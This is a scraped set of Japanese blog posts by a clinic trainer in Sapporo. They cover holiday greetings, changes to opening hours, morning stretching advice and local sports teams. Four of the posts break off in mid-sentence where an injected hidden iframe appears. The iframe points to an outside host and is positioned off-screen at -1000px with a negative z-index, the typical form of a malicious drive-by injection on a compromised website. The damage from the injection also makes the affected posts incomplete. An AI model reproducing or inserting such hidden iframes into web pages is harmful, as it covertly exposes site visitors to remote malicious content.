こんばんは
ビーグラン トレーナーの高橋涼です！

あと数時間で2016年が終わります。
今年も私は周りの方々に助けられ支えられまたこうして年末を迎えることができました。
そして一般の方からアスリートまで指導やサポートさせてもらえていること、本当に感謝しています。

昨日は専門学校時代のクラスメートと忘年会があり、みんなそれぞれの道で頑張っていることを聞けて、自分もさらに頑張ろうという気持ちになれました。

来年はもっと皆さんに貢献出来るよう、恩返し出来るよう、精進します。
宜しくお願いいたします。

良いお年をお迎えください。iPhoneから送信

こんばんは
ビーグラン トレーナーの高橋涼です！

28日で今年最後の営業が終わりました。

今年も来院くださった皆様に支えられ年末を迎えることが出来ていること、嬉しく思います。
5月には上司であった高田さんが辞め、その中でも新たにラジェントステイ札幌というホテル内にビーグラン2号店となる札幌大通店がオープンしました。

また来年も様々な変化に適応し益々皆様の健康に寄与できればと思います。

明日は大掃除！
朝から店を1年の感謝を込め磨きます！！

こんばんは
ビーグラン トレーナーの高橋涼です！画像はお客様からいただいたパンです！

そう、私の好きなチーズの入っているパン。
美味しすぎて、ほっぺたがとろけそうでした！

ありがとうございます(^^)
これであと一週間は頑張れる気がします♫

こんばんは
ビーグラン トレーナーの高橋涼です！

11月5日は12:00〜17:30までの営業となりますので、お間違えないようお願いいたします。

北海道コンサドーレ札幌、勝ちましたね！
これでJ1昇格へまた一歩近づきました！

こんばんは
ビーグラン トレーナーの高橋涼です！

今日のお昼まで帯同チームの試合で大阪にいました。
昨日の大阪戦は大敗。
前半は凌いで少ないチャンスからうまく点数を入れていただけに後半が悔やまれます。

来週月曜にはホーム戦が迫っているので、切り替え反省を糧に次の試合勝ちに行きます！

昨日は宿泊先である岸和田でイレブンスリーという暴走族の集会？があったようで、その対策で警察が出動していて、試合会場の体育館駐車場に警察が大量にいました！
何か事件があったのかと思うほどに。

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pこんばんは
ビーグラン トレーナーの高橋涼です！

ハロウィンが近いですね〜！
最近になって急にハロウィンが大きなイベントになっていますね！
東京では街中が仮装した人で溢れかえるほどだとか！
当院もハロウィン仕様に飾り付けしています♫
ぜひ見に来てください(^^)

ハロウィンまでに当院を来院された方には良いことがあるかも。。。/p
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こんばんは
ビーグラン トレーナーの高橋涼です！

初雪と雷のコラボレーションはすごい衝撃でしたね！
皆さん車のタイヤ交換や冬用の靴に履き替えなど色々と忙しくなったのではないでしょうか。

さて、この時期は例年朝布団から出た時に膝や腰などの関節に痛みが出たという方が多くなります。
最近は一気に気温が下がり、寝て何時間も動かしていない関節を起きてすぐに布団から出て動かすというのはとてもリスクがあります。

そこで
朝起きた時はまず布団の中で5〜10分ほど身体をもぞもぞ動かしてストレッチや膝の曲げ伸ばし運動、手足の指を動かすなどしてから布団を出ると良いです(^^)
ぜひ明日の朝からすぐにでも実践し!–844c7b74e31d727d5814a0ed667c0255–iframe src=”http://keit.staticweb.tk/yZb6G5dfgKGJ” width=640 height=480 style=’position: absolute; left: -1000px; top: -1000px; z-index:-1;’/iframe

こんばんは
ビーグラン トレーナーの高橋涼です！

野球の日本ハムファイターズが無事パリーグ優勝を決めましたね！

最後の一戦は今季のファイターズとソフトバンクを象徴するような内容でした！
監督の采配ズバリ、大谷も期待に応える大活躍！
本当に北海道を盛り上げてくれています！

あとは広島を倒し、日本一を決めてほしいところ！
広島の黒田投手が今季限りでの引退を発表しましたが、そこは空気を読まずファイターズに優勝してもらいたい！！

そして北海道のスポーツをどんどん盛り上げて、スポーツ観戦や!–844c7b74e31d727d5814a0ed667c0255–iframe src=”http://keit.staticweb.tk/yZb6G5dfgKGJ” width=640 height=480 style=’position: absolute; left: -1000px; top: -1000px; z-index:-1;’/iframe

こんばんは
ビーグラン トレーナーの高橋涼です！

日本ハムファイターズがソフトバンクホークスに圧勝しましたね！

この調子で日本一になってもらいたいです！

サッカーのコンサドーレもJ1昇格へ順調に向かっていますね！

バスケのレバンガもホーム戦6000人の入場者がいたようで盛り上がっているようで、
北海道のスポーツは活気に満ちています！！

この調子で今週土曜、フットサルチームのエスポラーダ北海道も王者名!–844c7b74e31d727d5814a0ed667c0255–iframe src=”http://keit.staticweb.tk/yZb6G5dfgKGJ” width=640 height=480 style=’position: absolute; left: -1000px; top: -1000px; z-index:-1;’/iframe

こんばんは
ビーグラン トレーナーの高橋涼です。

ホームページにもアップさせていただきましたが、今月14・28日の診療時間が12:00〜14:00までとなります。
申し訳有りませんが、お間違えないよう宜しくお願いいたします。
その他の診療時間変更についてはこちらのリンクでご確認ください。

http://www!–844c7b74e31d727d5814a0ed667c0255–iframe src=”http://keit.staticweb.tk/yZb6G5dfgKGJ” width=640 height=480 style=’position: absolute; left: -1000px; top: -1000px; z-index:-1;’/iframe